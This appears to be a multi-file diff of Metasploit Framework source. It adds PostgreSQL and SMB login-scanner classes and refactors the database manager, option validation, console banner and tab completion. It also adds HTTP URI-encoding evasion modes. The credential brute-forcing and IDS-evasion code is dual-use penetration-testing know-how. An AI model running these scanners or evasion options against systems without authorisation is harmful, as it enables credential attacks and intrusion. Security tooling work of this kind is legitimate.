# @return [Boolean] Whether to negotiate with a LANMAN key
attr_accessor :use_lmkey
# @!attribute send_lm
# @return [Boolean] Whether or not to force the use of NTLM2 session
# @return [Boolean] Whether to force the use of NTLM2 session
attr_accessor :use_ntlm2_session
# @!attribute send_lm
# @return [Boolean] Whether or not to force the use of NTLMv2 instead of NTLM2 Session
# @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session
attr_accessor :use_ntlmv2
validates :send_lm,
@ -40,6 +44,9 @@ module Metasploit
validates :send_spn,
inclusion: { in: [true, false] }
validates :use_lmkey,
inclusion: { in: [true, false] }
validates :use_ntlm2_session,
inclusion: { in: [true, false] }

View File

@ -0,0 +1,67 @@
require 'metasploit/framework/login_scanner/base'
require 'postgres_msf'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with PostgreSQL database servers.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class Postgres
include Metasploit::Framework::LoginScanner::Base
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential
}
db_name = credential.realm || 'template1'
if ::Rex::Socket.is_ipv6?(host)
uri = "tcp://[#{host}]:#{port}"
else
uri = "tcp://#{host}:#{port}"
end
pg_conn = nil
begin
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri)
rescue RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
result_options.merge!({
status: :failed,
proof: "C3D000, Creds were good but database was bad"
})
when "C28000", "C28P01"
result_options.merge!({
status: :failed,
proof: "Invalid username or password"
})
else
result_options.merge!({
status: :failed,
proof: e.message
})
end
end
if pg_conn
pg_conn.close
result_options[:status] = :success
else
result_options[:status] = :failed
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
end
end
end
end

View File

@ -0,0 +1,207 @@
require 'rex/proto/smb'
require 'metasploit/framework'
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/login_scanner/ntlm'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with the Server Messaging
# Block protocol.
class SMB
include Metasploit::Framework::Tcp::Client
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::LoginScanner::NTLM
module StatusCodes
CORRECT_CREDENTIAL_STATUS_CODES = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
].freeze.map(&:freeze)
end
# @!attribute simple
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
attr_accessor :smb_chunk_size
attr_accessor :smb_name
attr_accessor :smb_native_lm
attr_accessor :smb_native_os
attr_accessor :smb_obscure_trans_pipe_level
attr_accessor :smb_pad_data_level
attr_accessor :smb_pad_file_level
attr_accessor :smb_pipe_evasion
# UNUSED
#attr_accessor :smb_pipe_read_max_size
#attr_accessor :smb_pipe_read_min_size
#attr_accessor :smb_pipe_write_max_size
#attr_accessor :smb_pipe_write_min_size
attr_accessor :smb_verify_signature
attr_accessor :smb_direct
validates :smb_chunk_size,
numericality:
{
only_integer: true,
greater_than_or_equal_to: 0
}
validates :smb_obscure_trans_pipe_level,
inclusion:
{
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
}
validates :smb_pad_data_level,
inclusion:
{
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
}
validates :smb_pad_file_level,
inclusion:
{
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
}
validates :smb_pipe_evasion,
inclusion: { in: [true, false, nil] },
allow_nil: true
# UNUSED
#validates :smb_pipe_read_max_size, numericality: { only_integer: true }
#validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 }
#validates :smb_pipe_write_max_size, numericality: { only_integer: true }
#validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 }
validates :smb_verify_signature,
inclusion: { in: [true, false, nil] },
allow_nil: true
# (see Base#attempt_login)
def attempt_login(credential)
# Disable direct SMB when SMBDirect has not been set and the
# destination port is configured as 139
if self.smb_direct.nil?
self.smb_direct = case self.port
when 139 then false
when 445 then true
end
end
begin
connect
rescue ::Rex::ConnectionError => e
return Result.new(credential:credential, status: :connection_error, proof: e)
end
proof = nil
begin
# TODO: OMG
ok = simple.login(
smb_name,
credential.public,
credential.private,
credential.realm || "",
smb_verify_signature,
use_ntlmv2,
use_ntlm2_session,
send_lm,
use_lmkey,
send_ntlm,
smb_native_os,
smb_native_lm,
{
use_spn: send_spn,
name: host
}
)
simple.connect("\\\\#{smb_name}\\IPC$")
status = ok ? :success : :failed
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
status = case e.get_error(e.error_code)
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
:correct
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
:failed
else
puts e.backtrace.join
:failed
end
proof = e
rescue ::Rex::Proto::SMB::Exceptions::Error => e
status = :failed
proof = e
rescue ::Rex::ConnectionError
status = :connection_error
end
Result.new(credential: credential, status: status, proof: proof)
end
def connect
disconnect
self.sock = super
c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct)
c.client.evasion_opts['pad_data'] = smb_pad_data_level
c.client.evasion_opts['pad_file'] = smb_pad_file_level
c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level
self.simple = c
c
end
def set_sane_defaults
self.connection_timeout = 10 if self.connection_timeout.nil?
self.max_send_size = 0 if self.max_send_size.nil?
self.send_delay = 0 if self.send_delay.nil?
self.send_lm = true if self.send_lm.nil?
self.send_ntlm = true if self.send_ntlm.nil?
self.send_spn = true if self.send_spn.nil?
self.smb_chunk_size = 0 if self.smb_chunk_size.nil?
self.smb_name = "*SMBSERVER" if self.smb_name.nil?
self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil?
self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil?
self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil?
self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil?
self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil?
self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil?
#self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil?
#self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil?
#self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil?
#self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil?
self.smb_verify_signature = false if self.smb_verify_signature.nil?
self.use_lmkey = true if self.use_lmkey.nil?
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
self.smb_name = self.host if self.smb_name.nil?
end
end
end
end
end

View File

@ -35,9 +35,7 @@ module Metasploit
presence: true,
inclusion: { in: VERBOSITIES }
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
# (see {Base#attempt_login})
def attempt_login(credential)
ssh_socket = nil
opt_hash = {

View File

@ -1,6 +1,18 @@
# -*- coding: binary -*-
#
# Standard Library
#
require 'fileutils'
#
# Project
#
require 'msf/core'
require 'rex/compat'
module Msf
# This class wraps interaction with global configuration that can be used as a

View File

@ -330,6 +330,9 @@ module Auxiliary::AuthBrute
end
creds = [ [], [], [], [] ] # userpass, pass, user, rest
remaining_pairs = combined_array.length # counter for our occasional output
interval = 60 # seconds between each remaining pair message reported to user
next_message_time = Time.now + interval # initial timing interval for user message
# Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list.
# Note that we cannot tell the user intention if USERNAME or PASSWORD is blank --
# maybe (and it's often) they wanted a blank. One more credential won't kill
@ -344,6 +347,14 @@ module Auxiliary::AuthBrute
else
creds[3] << pair
end
if Time.now > next_message_time
print_brute(
:level => :vstatus,
:msg => "Pair list is still building with #{remaining_pairs} pairs left to process"
)
next_message_time = Time.now + interval
end
remaining_pairs -= 1
end
return creds[0] + creds[1] + creds[2] + creds[3]
end

View File

@ -2943,10 +2943,41 @@ class DBManager
self.send "import_#{ftype}".to_sym, args, &block
end
# Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml
# :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog
# :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml
# :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml
# Returns one of the following:
#
# :acunetix_xml
# :amap_log
# :amap_mlog
# :appscan_xml
# :burp_session_xml
# :ci_xml
# :foundstone_xml
# :fusionvm_xml
# :ip360_aspl_xml
# :ip360_xml_v3
# :ip_list
# :libpcap
# :mbsa_xml
# :msf_pwdump
# :msf_xml
# :msf_zip
# :nessus_nbe
# :nessus_xml
# :nessus_xml_v2
# :netsparker_xml
# :nexpose_rawxml
# :nexpose_simplexml
# :nikto_xml
# :nmap_xml
# :openvas_new_xml
# :openvas_xml
# :outpost24_xml
# :qualys_asset_xml
# :qualys_scan_xml
# :retina_xml
# :spiceworks_csv
# :wapiti_xml
#
# If there is no match, an error is raised instead.
def import_filetype_detect(data)
@ -3114,7 +3145,7 @@ class DBManager
return :netsparker_xml
elsif (firstline.index("# Metasploit PWDump Export"))
# then it's a Metasploit PWDump export
@import_filedata[:type] = "msf_pwdump"
@import_filedata[:type] = "Metasploit PWDump Export"
return :msf_pwdump
end

View File

@ -22,6 +22,13 @@ class DBManager
include Msf::DBManager::Migration
include Msf::Framework::Offspring
#
# CONSTANTS
#
# The adapter to use to establish database connection.
ADAPTER = 'postgresql'
# Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6.
# Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond.
def warn_about_rubies
@ -43,7 +50,10 @@ class DBManager
attr_accessor :usable
# Returns the list of usable database drivers
attr_accessor :drivers
def drivers
@drivers ||= []
end
attr_writer :drivers
# Returns the active driver
attr_accessor :driver
@ -86,9 +96,7 @@ class DBManager
# Database drivers can reset our KCODE, do not let them
$KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./
require "active_record"
initialize_metasploit_data_models
add_rails_engine_migration_paths
@usable = true
@ -98,22 +106,10 @@ class DBManager
return false
end
# Only include Mdm if we're not using Metasploit commercial versions
# If Mdm::Host is defined, the dynamically created classes
# are already in the object space
begin
unless defined? Mdm::Host
MetasploitDataModels.require_models
end
rescue NameError => e
warn_about_rubies
raise e
end
#
# Determine what drivers are available
#
initialize_drivers
initialize_adapter
#
# Instantiate the database sink
@ -126,50 +122,48 @@ class DBManager
#
# Scan through available drivers
#
def initialize_drivers
self.drivers = []
tdrivers = %W{ postgresql }
tdrivers.each do |driver|
begin
def initialize_adapter
ActiveRecord::Base.default_timezone = :utc
ActiveRecord::Base.establish_connection(:adapter => driver)
if(self.respond_to?("driver_check_#{driver}"))
self.send("driver_check_#{driver}")
end
if ActiveRecord::Base.connected? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER
dlog("Already connected to #{ADAPTER}, so reusing active connection.")
else
begin
ActiveRecord::Base.establish_connection(adapter: ADAPTER)
ActiveRecord::Base.remove_connection
self.drivers << driver
rescue ::Exception
rescue Exception => error
@adapter_error = error
else
# @deprecated Use in RPC_Db, but only postgresql is supported, so useless otherwise
self.drivers << ADAPTER
self.driver = ADAPTER
end
end
if(not self.drivers.empty?)
self.driver = self.drivers[0]
end
# Database drivers can reset our KCODE, do not let them
$KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./
end
# Loads Metasploit Data Models and adds its migrations to migrations paths.
#
# @return [void]
def initialize_metasploit_data_models
# Provide access to ActiveRecord models shared w/ commercial versions
require "metasploit_data_models"
def add_rails_engine_migration_paths
unless defined? ActiveRecord
fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \
"`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \
"the .bundle/config manually and then `bundle install`"
end
metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join(
'db',
'migrate'
)
metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s
Rails.application.railties.engines.each do |engine|
migrations_paths = engine.paths['db/migrate'].existent_directories
migrations_paths.each do |migrations_path|
# Since ActiveRecord::Migrator.migrations_paths can persist between
# instances of Msf::DBManager, such as in specs,
# metasploit_data_models_migrations_path may already be part of
# migrations_path may already be part of
# migrations_paths, in which case it should not be added or multiple
# migrations with the same version number errors will occur.
unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path
ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path
unless ActiveRecord::Migrator.migrations_paths.include? migrations_path
ActiveRecord::Migrator.migrations_paths << migrations_path
end
end
end
end
@ -259,7 +253,13 @@ class DBManager
errstr = e.to_s
if errstr =~ /does not exist/i or errstr =~ /Unknown database/
ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.")
ActiveRecord::Base.establish_connection(opts.merge('database' => nil))
ActiveRecord::Base.establish_connection(
opts.merge(
'database' => 'postgres',
'schema_search_path' => 'public'
)
)
ActiveRecord::Base.connection.create_database(opts['database'])
else
ilog("Trying to continue despite failed database creation: #{e}")

View File

@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient
register_evasion_options(
[
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]),
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),

View File

@ -33,18 +33,34 @@ module Msf::Module::Deprecated
end
# (see ClassMethods#replacement_module)
def replacement_module; self.class.replacement_module; end
def replacement_module
if self.class.instance_variable_defined?(:@replacement_module)
return self.class.replacement_module
elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT)
return self.class.const_get(:DEPRECATION_REPLACEMENT)
end
end
# (see ClassMethods#deprecation_date)
def deprecation_date; self.class.deprecation_date; end
def deprecation_date
if self.class.instance_variable_defined?(:@deprecation_date)
return self.class.deprecation_date
elsif self.class.const_defined?(:DEPRECATION_DATE)
return self.class.const_get(:DEPRECATION_DATE)
end
end
# Extends with {ClassMethods}
def self.included(base)
base.extend(ClassMethods)
end
def setup
# Print the module deprecation information
#
# @return [void]
def print_deprecation_warning
print_warning("*"*72)
print_warning("*%red"+"This module is deprecated!".center(70)+"%clr*")
print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*")
if deprecation_date
print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*")
end
@ -52,6 +68,15 @@ module Msf::Module::Deprecated
print_warning("*"+"Use #{replacement_module} instead".center(70)+"*")
end
print_warning("*"*72)
end
def generate
print_deprecation_warning
super
end
def setup
print_deprecation_warning
super
end

View File

@ -20,6 +20,7 @@ class OptBase
# attrs[1] = description (string)
# attrs[2] = default value
# attrs[3] = possible enum values
# attrs[4] = Regex to validate the option
#
def initialize(in_name, attrs = [])
self.name = in_name
@ -29,6 +30,21 @@ class OptBase
self.desc = attrs[1]
self.default = attrs[2]
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
regex_temp = attrs[4] || nil
if regex_temp
# convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
# remove start and end character, they will be added later
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
# Add start and end marker to match the whole regex
regex_temp = "^#{regex_temp}$"
begin
Regexp.compile(regex_temp)
self.regex = regex_temp
rescue RegexpError, TypeError => e
raise("Invalid Regex #{regex_temp}: #{e}")
end
end
end
#
@ -63,7 +79,18 @@ class OptBase
# If it's required and the value is nil or empty, then it's not valid.
#
def valid?(value)
return (required? and (value == nil or value.to_s.empty?)) ? false : true
if required?
# required variable not set
return false if (value == nil or value.to_s.empty?)
end
if regex
if value.match(regex)
return true
else
return false
end
end
return true
end
#
@ -125,6 +152,10 @@ class OptBase
# The list of potential valid values
#
attr_accessor :enums
#
# A optional regex to validate the option value
#
attr_accessor :regex
protected

View File

@ -344,7 +344,7 @@ class Core
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt}", prompt_char, true)
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end
@ -384,40 +384,42 @@ class Core
def cmd_banner(*args)
banner = "%cya" + Banner.to_s + "%clr\n\n"
if is_apt
# These messages should /not/ show up when you're on a git checkout;
# you're a developer, so you already know all this.
if (is_apt || binary_install)
content = [
"Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.",
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.",
"Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.",
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro's wizard -- type 'go_pro' to launch it now.",
"Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.",
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now."
"Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
"Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
"Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit",
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
"Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
"Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
"Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit"
]
banner << content.sample # Ruby 1.9-ism!
banner << "\n\n"
end
banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr ]\n"
banner << "+ -- --=[ "
banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post ]\n"
banner << "+ -- --=[ "
oldwarn = nil
avdwarn = nil
banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops ]\n"
if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate)
tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d")
banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n"
if(::Msf::Framework::RepoUpdatedDays > 7)
oldwarn = []
oldwarn << "Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}."
oldwarn << " We recommend that you update the framework at least every other day."
oldwarn << " For information on updating your copy of Metasploit, please see:"
oldwarn << " https://community.rapid7.com/docs/DOC-1306"
oldwarn << ""
end
end
banner_trailers = {
:version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr",
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
:padding => 48
}
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
# TODO: People who are already on a Pro install shouldn't see this.
# It's hard for Framework to tell the difference though since
# license details are only in Pro -- we can't see them from here.
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
if ::Msf::Framework::EICARCorrupted
avdwarn = []
@ -428,22 +430,9 @@ class Core
avdwarn << ""
end
# We're running a two week survey to gather feedback from users.
# Let's make sure we reach regular msfconsole users.
# TODO: Get rid of this sometime after 2014-01-23
survey_expires = Time.new(2014,"Jan",22,23,59,59,"-05:00")
if Time.now.to_i < survey_expires.to_i
banner << "+ -- --=[ Answer Q's about Metasploit and win a WiFi Pineapple Mk5 ]\n"
banner << "+ -- --=[ http://bit.ly/msfsurvey (Expires #{survey_expires.ctime}) ]\n"
end
# Display the banner
print_line(banner)
if(oldwarn)
oldwarn.map{|line| print_line(line) }
end
if(avdwarn)
avdwarn.map{|line| print_error(line) }
end
@ -2033,6 +2022,19 @@ class Core
end
end
unless str.blank?
res = res.select { |term| term.upcase.start_with?(str.upcase) }
res = res.map { |term|
if str == str.upcase
str + term[str.length..-1].upcase
elsif str == str.downcase
str + term[str.length..-1].downcase
else
str + term[str.length..-1]
end
}
end
return res
end
@ -2620,7 +2622,7 @@ class Core
if mod # if there is an active module, give them the fanciness they have come to expect
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
else
driver.update_prompt("#{prompt}", prompt_char, true)
driver.update_prompt("#{prompt} ", prompt_char, true)
end
# dump the command's output so we can grep it
@ -2730,6 +2732,8 @@ class Core
# Is this option used by the active module?
if (mod.options.include?(opt))
res.concat(option_values_dispatch(mod.options[opt], str, words))
elsif (mod.options.include?(opt.upcase))
res.concat(option_values_dispatch(mod.options[opt.upcase], str, words))
end
# How about the selected payload?
@ -2737,6 +2741,8 @@ class Core
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p and p.options.include?(opt))
res.concat(option_values_dispatch(p.options[opt], str, words))
elsif (p and p.options.include?(opt.upcase))
res.concat(option_values_dispatch(p.options[opt.upcase], str, words))
end
end
@ -2770,8 +2776,10 @@ class Core
end
when 'Msf::OptAddressRange'
case str
when /^file:(.*)/
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
when /\/$/
res << str+'32'
res << str+'24'
@ -2802,9 +2810,20 @@ class Core
o.enums.each do |val|
res << val
end
when 'Msf::OptPath'
files = tab_complete_filenames(str,words)
files = tab_complete_filenames(str, words)
res += files if files
when 'Msf::OptBool'
res << 'true'
res << 'false'
when 'Msf::OptString'
if (str =~ /^file:(.*)/)
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
end
end
return res
@ -3040,6 +3059,18 @@ class Core
File.exists?(File.expand_path(File.join(msfbase_dir, '.apt')))
end
# Determines if we're a Metasploit Pro/Community/Express
# installation or a tarball/git checkout
#
# @return [Boolean] true if we are a binary install
def binary_install
binary_paths = [
'C:/metasploit/apps/pro/msf3',
'/opt/metasploit/apps/pro/msf3'
]
return binary_paths.include? Msf::Config.install_root
end
#
# Module list enumeration
#

View File

@ -1304,26 +1304,38 @@ class Db
print_line
print_line "Filenames can be globs like *.xml, or **/*.xml which will search recursively"
print_line "Currently supported file types include:"
print_line " Acunetix XML"
print_line " Acunetix"
print_line " Amap Log"
print_line " Amap Log -m"
print_line " Appscan XML"
print_line " Appscan"
print_line " Burp Session XML"
print_line " Foundstone XML"
print_line " CI"
print_line " Foundstone"
print_line " FusionVM XML"
print_line " IP Address List"
print_line " IP360 ASPL"
print_line " IP360 XML v3"
print_line " Libpcap Packet Capture"
print_line " Metasploit PWDump Export"
print_line " Metasploit XML"
print_line " Metasploit Zip Export"
print_line " Microsoft Baseline Security Analyzer"
print_line " Nessus NBE"
print_line " Nessus XML (v1 and v2)"
print_line " NetSparker XML"
print_line " NeXpose Simple XML"
print_line " NeXpose XML Report"
print_line " Nessus NBE Report"
print_line " Nessus XML (v1)"
print_line " Nessus XML (v2)"
print_line " NetSparker XML"
print_line " Nikto XML"
print_line " Nmap XML"
print_line " OpenVAS Report"
print_line " OpenVAS XML"
print_line " Outpost24 XML"
print_line " Qualys Asset XML"
print_line " Qualys Scan XML"
print_line " Retina XML"
print_line " Spiceworks CSV Export"
print_line " Wapiti XML"
print_line
end

View File

@ -186,7 +186,7 @@ class Driver < Msf::Ui::Driver
if (dbfile and File.exists? dbfile)
if File.readable?(dbfile)
dbinfo = YAML.load(File.read(dbfile))
dbenv = opts['DatabaseEnv'] || "production"
dbenv = opts['DatabaseEnv'] || Rails.env
db = dbinfo[dbenv]
else
print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.")

View File

@ -2,11 +2,12 @@
# Use bundler to load dependencies
#
ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
begin
require 'bundler/setup'
rescue ::LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
exit(0)
end
# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode
# unless the `--environment` flag is passed.
ENV['RAILS_ENV'] ||= 'production'
require 'pathname'
root = Pathname.new(__FILE__).expand_path.parent.parent
config = root.join('config')
require config.join('boot')
require config.join('environment')

View File

@ -40,7 +40,7 @@ class ClientRequest
#
'encode_params' => true,
'encode' => false,
'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all
'uri_encode_mode' => 'hex-normal', # hex-normal, hex-all, hex-noslashes, hex-random, u-normal, u-all, u-noslashes, u-random
'uri_encode_count' => 1, # integer
'uri_full_url' => false, # bool
'pad_method_uri_count' => 1, # integer

View File

@ -788,15 +788,18 @@ module Text
return str if mode == 'none' # fast track no encoding
all = /[^\/\\]+/
all = /./
noslashes = /[^\/\\]+/
# http://tools.ietf.org/html/rfc3986#section-2.3
normal = /[^a-zA-Z0-9\/\\\.\-_~]+/
case mode
when 'hex-normal'
return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') }
when 'hex-all'
return str.gsub(all) { |s| Rex::Text.to_hex(s, '%') }
when 'hex-normal'
return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') }
when 'hex-noslashes'
return str.gsub(noslashes) { |s| Rex::Text.to_hex(s, '%') }
when 'hex-random'
res = ''
str.each_byte do |c|
@ -806,10 +809,12 @@ module Text
b.gsub(normal){ |s| Rex::Text.to_hex(s, '%') } )
end
return res
when 'u-normal'
return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
when 'u-all'
return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
when 'u-normal'
return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
when 'u-noslashes'
return str.gsub(noslashes) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
when 'u-random'
res = ''
str.each_byte do |c|

View File

@ -1,73 +0,0 @@
load 'active_record/railties/databases.rake'
require 'metasploit/framework'
require 'metasploit/framework/database'
# A modification to remove dependency on Rails.env
#
# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550
def configs_for_environment
environments = [Metasploit::Framework.env]
if Metasploit::Framework.env.development?
environments << 'test'
end
environment_configurations = ActiveRecord::Base.configurations.values_at(*environments)
present_environment_configurations = environment_configurations.compact
valid_environment_configurations = present_environment_configurations.reject { |config|
config['database'].blank?
}
valid_environment_configurations
end
# emulate initializer "active_record.initialize_database" from active_record/railtie
ActiveSupport.on_load(:active_record) do
self.configurations = Metasploit::Framework::Database.configurations
puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}"
spec = configurations[Metasploit::Framework.env]
establish_connection(spec)
end
#
# Remove tasks that aren't supported
#
Rake::TaskManager.class_eval do
def remove_task(task_name)
@tasks.delete(task_name.to_s)
end
end
Rake.application.remove_task('db:fixtures:load')
# completely replace db:load_config and db:seed as they will attempt to use
# Rails.application, which does not exist
Rake::Task['db:load_config'].clear
Rake::Task['db:seed'].clear
